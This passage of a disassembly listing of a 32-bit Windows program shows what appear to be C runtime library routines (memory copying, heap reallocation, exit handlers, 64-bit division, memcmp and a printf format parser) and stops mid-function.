		cmp	[ebp+arg_C], 0
		jz	short loc_418B9F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_418B88
		mov	edi, esi


loc_418B88:				; CODE XREF: sub_418AA8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C3DC
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_418B9F:				; CODE XREF: sub_418AA8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_418BEA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_418BAF
		mov	esi, eax


loc_418BAF:				; CODE XREF: sub_418AA8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C3DC
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_418BEA
; ---------------------------------------------------------------------------


loc_418BC2:				; CODE XREF: sub_418AA8+CCj
					; sub_418AA8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_418BE0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_418BD1
		mov	esi, eax


loc_418BD1:				; CODE XREF: sub_418AA8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C3DC
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_418BE0:				; CODE XREF: sub_418AA8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_418BEA
		and	byte ptr [eax],	0


loc_418BEA:				; CODE XREF: sub_418AA8+FCj
					; sub_418AA8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418AA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BEF	proc near		; CODE XREF: sub_40C56B+19p
					; sub_40DBCA+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419343
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_418C2D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_418C3A
; ---------------------------------------------------------------------------


loc_418C2D:				; CODE XREF: sub_418BEF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_418C3A:				; CODE XREF: sub_418BEF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C3F	proc near		; CODE XREF: sub_40C7FB+2Ep
					; sub_4200EA+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_418C5A
		push	[esp+10h+arg_4]
		call	sub_417BEE
		pop	ecx
		jmp	loc_418D5A
; ---------------------------------------------------------------------------


loc_418C5A:				; CODE XREF: sub_418C3F+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_418C70
		push	ebx
		call	sub_417C62
		pop	ecx


loc_418C69:				; CODE XREF: sub_418C3F+114j
		xor	eax, eax
		jmp	loc_418D5A
; ---------------------------------------------------------------------------


loc_418C70:				; CODE XREF: sub_418C3F+21j
					; sub_418C3F+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_418D3B
		push	ebx
		call	sub_419C57
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_418D18
		cmp	esi, dword_43B7BC
		ja	short loc_418CD8
		push	esi
		push	ebx
		push	ebp
		call	sub_41A462
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418CA7
		mov	edi, ebx
		jmp	short loc_418CD0
; ---------------------------------------------------------------------------


loc_418CA7:				; CODE XREF: sub_418C3F+62j
		push	esi
		call	sub_419FAD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_418CD8
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_418CBE
		mov	eax, esi


loc_418CBE:				; CODE XREF: sub_418C3F+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_417490
		push	ebx
		push	ebp
		call	sub_419C82
		add	esp, 14h


loc_418CD0:				; CODE XREF: sub_418C3F+66j
		test	edi, edi
		jnz	loc_418D58


loc_418CD8:				; CODE XREF: sub_418C3F+53j
					; sub_418C3F+73j
		test	esi, esi
		jnz	short loc_418CDF
		push	1
		pop	esi


loc_418CDF:				; CODE XREF: sub_418C3F+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C9105D4h
		mov	edi, eax
		test	edi, edi
		jz	short loc_418D3B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_418D04
		mov	eax, esi


loc_418D04:				; CODE XREF: sub_418C3F+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_417490
		push	ebx
		push	ebp
		call	sub_419C82
		add	esp, 14h
		jmp	short loc_418D37
; ---------------------------------------------------------------------------


loc_418D18:				; CODE XREF: sub_418C3F+47j
		test	esi, esi
		jnz	short loc_418D1F
		push	1
		pop	esi


loc_418D1F:				; CODE XREF: sub_418C3F+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C9179FDh
		mov	edi, eax


loc_418D37:				; CODE XREF: sub_418C3F+D7j
		test	edi, edi
		jnz	short loc_418D58


loc_418D3B:				; CODE XREF: sub_418C3F+36j
					; sub_418C3F+B9j
		cmp	dword_5158DC, 0
		jz	short loc_418D58
		push	esi
		call	sub_419BC2
		test	eax, eax
		pop	ecx
		jnz	loc_418C70
		jmp	loc_418C69
; ---------------------------------------------------------------------------


loc_418D58:				; CODE XREF: sub_418C3F+93j
					; sub_418C3F+FAj ...
		mov	eax, edi


loc_418D5A:				; CODE XREF: sub_418C3F+16j
					; sub_418C3F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_418C3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D5F	proc near		; CODE XREF: ___:00418F73p
					; DATA XREF: ___:off_43B578o
		call	sub_418D77
		call	sub_41C4B6
		mov	dword_515880, eax
		call	sub_41C466
		fnclex
		retn
sub_418D5F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_418D77	proc near		; CODE XREF: sub_418D5Fp
		mov	eax, offset sub_41C8A4
		mov	off_43B8CC, offset sub_41C539
		mov	off_43B8C8, eax
		mov	off_43B8D0, offset sub_41C59F
		mov	off_43B8D4, offset sub_41C4DF
		mov	off_43B8D8, offset sub_41C587
		mov	off_43B8DC, eax
		retn
sub_418D77	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DAF	proc near		; CODE XREF: sub_40D5A0+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 7C81153Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418DCF
		nop
		call	near ptr 7C910331h
		push	eax
		call	sub_41C91A
		pop	ecx


loc_418DCB:				; CODE XREF: sub_418DAF+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_418DCF:				; CODE XREF: sub_418DAF+Dj
		test	al, 1
		jz	short loc_418DF0
		test	[esp+arg_4], 2
		jz	short loc_418DF0
		mov	dword_515884, 0Dh
		mov	dword_515888, 5
		jmp	short loc_418DCB
; ---------------------------------------------------------------------------


loc_418DF0:				; CODE XREF: sub_418DAF+22j
					; sub_418DAF+29j
		xor	eax, eax
		retn
sub_418DAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_40D6CA+5Fp
					; sub_40D6CA+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_418E21
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_418E21:				; CODE XREF: sub_418E00+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_418E3D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_418E3D:				; CODE XREF: sub_418E00+27j
		or	eax, eax
		jnz	short loc_418E59
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_418E9A
; ---------------------------------------------------------------------------


loc_418E59:				; CODE XREF: sub_418E00+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_418E67:				; CODE XREF: sub_418E00+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_418E67
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_418E95
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_418E95
		jb	short loc_418E96
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_418E96


loc_418E95:				; CODE XREF: sub_418E00+85j
					; sub_418E00+8Bj
		dec	esi


loc_418E96:				; CODE XREF: sub_418E00+8Dj
					; sub_418E00+93j
		xor	edx, edx
		mov	eax, esi


loc_418E9A:				; CODE XREF: sub_418E00+57j
		dec	edi
		jnz	short loc_418EA4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_418EA4:				; CODE XREF: sub_418E00+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_418E00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418EB0	proc near		; CODE XREF: sub_40DA24+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_418EFC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_418EFD
		test	eax, 1
		jz	short loc_418EDD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_418F2A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_418EFA


loc_418EDD:				; CODE XREF: sub_418EB0+20j
					; sub_418EB0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_418F2A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_418F2A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_418EDD


loc_418EFA:				; CODE XREF: sub_418EB0+2Bj
					; sub_418EB0+84j
		pop	edi
		pop	esi

locret_418EFC:				; CODE XREF: sub_418EB0+6j
		retn
; ---------------------------------------------------------------------------


loc_418EFD:				; CODE XREF: sub_418EB0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_418F32
		repe cmpsd
		jz	short loc_418F32
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_418F25
		cmp	ch, dh
		jnz	short loc_418F25
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_418F25
		cmp	ch, dh


loc_418F25:				; CODE XREF: sub_418EB0+63j
					; sub_418EB0+67j ...
		mov	eax, 0


loc_418F2A:				; CODE XREF: sub_418EB0+26j
					; sub_418EB0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418F32:				; CODE XREF: sub_418EB0+55j
					; sub_418EB0+59j
		test	eax, eax
		jz	short loc_418EFA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_418F25
		dec	eax
		jz	short loc_418F59
		cmp	dh, ch
		jnz	short loc_418F25
		dec	eax
		jz	short loc_418F59
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_418F25
		dec	eax


loc_418F59:				; CODE XREF: sub_418EB0+8Fj
					; sub_418EB0+96j
		pop	edi
		pop	esi
		retn
sub_418EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418F5C	proc near		; CODE XREF: sub_40E14E+3Fp
					; sub_40E220+27p

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417C00
		pop	ecx
		pop	ecx
		retn
sub_418F5C	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43B578
		test	eax, eax
		jz	short loc_418F75
		call	eax ; sub_418D5F


loc_418F75:				; CODE XREF: ___:00418F71j
		push	offset dword_423018
		push	offset dword_42300C
		call	sub_419052
		push	offset dword_423008
		push	offset dword_423000
		call	sub_419052
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_418FB9
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418FA8	proc near		; CODE XREF: sub_4191E5+1Cp
					; DATA XREF: ___:off_43B590o

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_418FB9
		add	esp, 0Ch
		retn
sub_418FA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FB9	proc near		; CODE XREF: ___:00418F9Fp
					; sub_418FA8+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_5158CC, edi
		jnz	short loc_418FD6
		push	[esp+4+arg_0]
		nop
		call	near ptr 7C80DDF5h
		push	eax
		nop
		call	near ptr 7C801E16h


loc_418FD6:				; CODE XREF: sub_418FB9+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_5158C8, edi
		mov	byte_5158C4, bl
		jnz	short loc_41902A
		mov	eax, dword_516ED4
		test	eax, eax
		jz	short loc_419019
		mov	ecx, dword_516ED0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419018


loc_419005:				; CODE XREF: sub_418FB9+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41900D
		call	eax


loc_41900D:				; CODE XREF: sub_418FB9+50j
		sub	esi, 4
		cmp	esi, dword_516ED4
		jnb	short loc_419005


loc_419018:				; CODE XREF: sub_418FB9+4Aj
		pop	esi


loc_419019:				; CODE XREF: sub_418FB9+3Cj
		push	offset dword_423024
		push	offset dword_42301C
		call	sub_419052
		pop	ecx
		pop	ecx


loc_41902A:				; CODE XREF: sub_418FB9+33j
		push	offset dword_42302C
		push	offset dword_423028
		call	sub_419052
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419050
		push	[esp+4+arg_0]
		mov	dword_5158CC, edi
		nop
		call	near ptr 7C81CDDAh


loc_419050:				; CODE XREF: sub_418FB9+85j
		pop	edi
		retn
sub_418FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419052	proc near		; CODE XREF: ___:00418F7Fp
					; ___:00418F8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419057:				; CODE XREF: sub_419052+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41906A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419065
		call	eax


loc_419065:				; CODE XREF: sub_419052+Fj
		add	esi, 4
		jmp	short loc_419057
; ---------------------------------------------------------------------------


loc_41906A:				; CODE XREF: sub_419052+9j
		pop	esi
		retn
sub_419052	endp


; =============== S U B	R O U T	I N E =======================================



sub_41906C	proc near		; CODE XREF: sub_40F6F1+2CBCp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 7C831EABh
		test	eax, eax
		jnz	short loc_419082
		nop
		call	near ptr 7C910331h
		jmp	short loc_419084
; ---------------------------------------------------------------------------


loc_419082:				; CODE XREF: sub_41906C+Cj
		xor	eax, eax


loc_419084:				; CODE XREF: sub_41906C+14j
		test	eax, eax
		jz	short loc_419093
		push	eax
		call	sub_41C91A
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419093:				; CODE XREF: sub_41906C+1Aj
		xor	eax, eax
		retn
sub_41906C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419096	proc near		; CODE XREF: sub_40F6F1+2C13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C981
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419343
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41CA0E
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_419096	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190C8	proc near		; CODE XREF: sub_415EF7+24p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4190C8	endp

; ---------------------------------------------------------------------------
		db 0E1h
		dd 22A560DCh, 60B2888h,	0CD819B71h, 6B8D8548h, 9F52448Eh
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0BFE890E8h, 337C3F80h,	89D48AD2h
		dd 51589C15h, 81C88B00h, 0FFE1h, 980D8900h, 0C1005158h
		dd 0CA0308E1h, 58940D89h, 0E8C10051h, 5890A310h, 0F6330051h
		dd 0A8FE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
		dd 0FCE8FC75h, 9000003Eh, 3F9DB4E8h, 6EC4A37Ch,	0BAE80051h
		dd 0A300003Dh, 5158D0h,	3B63E8h, 3AA5E800h, 0E3E80000h
		dd 89FFFFFDh, 458DD075h, 0E89050A4h, 7C3E8D5Ah,	3A36E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0EAE89056h, 507C3F24h, 0FF5A6EE8h, 0A04589FFh
		dd 0FDD1E850h, 458BFFFFh, 8B088BECh, 984D8909h,	74E85150h
		dd 59000038h, 658BC359h, 9875FFE8h, 0FFFDC3E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_4191E5	proc near		; CODE XREF: ___:0041CC75p
					; ___:0041CCA4p ...

arg_0		= dword	ptr  4

		cmp	dword_5158D8, 1
		jnz	short loc_4191F3
		call	sub_41D3DC


loc_4191F3:				; CODE XREF: sub_4191E5+7j
		push	[esp+arg_0]
		call	sub_41D415
		push	0FFh
		call	off_43B590
		pop	ecx
		pop	ecx
		retn
sub_4191E5	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_5158D8
		dd 0E8057501h, 41C4h, 42474FFh,	41F4E8h, 0FF685900h, 90000000h
		dd 403BADE8h
		db 7Ch,	0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41922E	proc near		; CODE XREF: sub_4173AC+46p
					; sub_41792A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419337
		test	al, 40h
		jnz	loc_419337
		test	al, 1
		jz	short loc_419266
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419337
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419266:				; CODE XREF: sub_41922E+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_4192A0
		cmp	esi, offset dword_43BB98
		jz	short loc_41928E
		cmp	esi, offset dword_43BBB8
		jnz	short loc_419299


loc_41928E:				; CODE XREF: sub_41922E+56j
		push	ebx
		call	sub_41D5AC
		test	eax, eax
		pop	ecx
		jnz	short loc_4192A0


loc_419299:				; CODE XREF: sub_41922E+5Ej
		push	esi
		call	sub_41D568
		pop	ecx


loc_4192A0:				; CODE XREF: sub_41922E+4Ej
					; sub_41922E+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41930D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_4192D0
		push	edi
		push	eax
		push	ebx
		call	sub_41BE4F
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419303
; ---------------------------------------------------------------------------


loc_4192D0:				; CODE XREF: sub_41922E+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4192EB
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_516B80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_4192F0
; ---------------------------------------------------------------------------


loc_4192EB:				; CODE XREF: sub_41922E+A5j
		mov	eax, offset dword_43BAD0


loc_4192F0:				; CODE XREF: sub_41922E+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419303
		push	2
		push	0
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch


loc_419303:				; CODE XREF: sub_41922E+A0j
					; sub_41922E+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419321
; ---------------------------------------------------------------------------


loc_41930D:				; CODE XREF: sub_41922E+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41BE4F
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419321:				; CODE XREF: sub_41922E+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41932D
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41933C
; ---------------------------------------------------------------------------


loc_41932D:				; CODE XREF: sub_41922E+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41933F
; ---------------------------------------------------------------------------


loc_419337:				; CODE XREF: sub_41922E+10j
					; sub_41922E+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41933C:				; CODE XREF: sub_41922E+FDj
		or	eax, 0FFFFFFFFh


loc_41933F:				; CODE XREF: sub_41922E+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41922E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419343	proc near		; CODE XREF: sub_4173AC+29p
					; sub_41792A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_419A5C
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419377
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_419343+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419377:				; CODE XREF: sub_419343+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_419A5C
		cmp	bl, 20h
		jl	short loc_419398
		cmp	bl, 78h
		jg	short loc_419398
		movsx	eax, bl
		mov	al, byte_42160C[eax]
		and	eax, 0Fh
		jmp	short loc_41939A
; ---------------------------------------------------------------------------


loc_419398:				; CODE XREF: sub_419343+40j
					; sub_419343+45j
		xor	eax, eax


loc_41939A:				; CODE XREF: sub_419343+53j
		movsx	eax, byte_42162C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_419A4B	; default
		jmp	off_419A64[eax*4] ; switch jump


loc_4193B8:				; DATA XREF: ___:off_419A64o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 004193B1 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4193D3:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		movsx	eax, bl		; jumptable 004193B1 case 2
		sub	eax, 20h
		jz	short loc_419416
		sub	eax, 3
		jz	short loc_41940D
		sub	eax, 8
		jz	short loc_419404
		dec	eax
		dec	eax
		jz	short loc_4193FB
		sub	eax, 3
		jnz	loc_419A4B	; default
		or	[ebp+var_4], 8
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4193FB:				; CODE XREF: sub_419343+A4j
		or	[ebp+var_4], 4
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419404:				; CODE XREF: sub_419343+A0j
		or	[ebp+var_4], 1
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_41940D:				; CODE XREF: sub_419343+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419416:				; CODE XREF: sub_419343+96j
		or	[ebp+var_4], 2
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_41941F:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		cmp	bl, 2Ah		; jumptable 004193B1 case 3
		jnz	short loc_419447
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_419A4B	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41943F:				; CODE XREF: sub_419343+111j
		mov	[ebp+var_20], eax
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419447:				; CODE XREF: sub_419343+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41943F
; ---------------------------------------------------------------------------


loc_419456:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		mov	[ebp+var_10], edx ; jumptable 004193B1 case 4
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_41945E:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		cmp	bl, 2Ah		; jumptable 004193B1 case 5
		jnz	short loc_419481
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_419A4B	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419481:				; CODE XREF: sub_419343+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
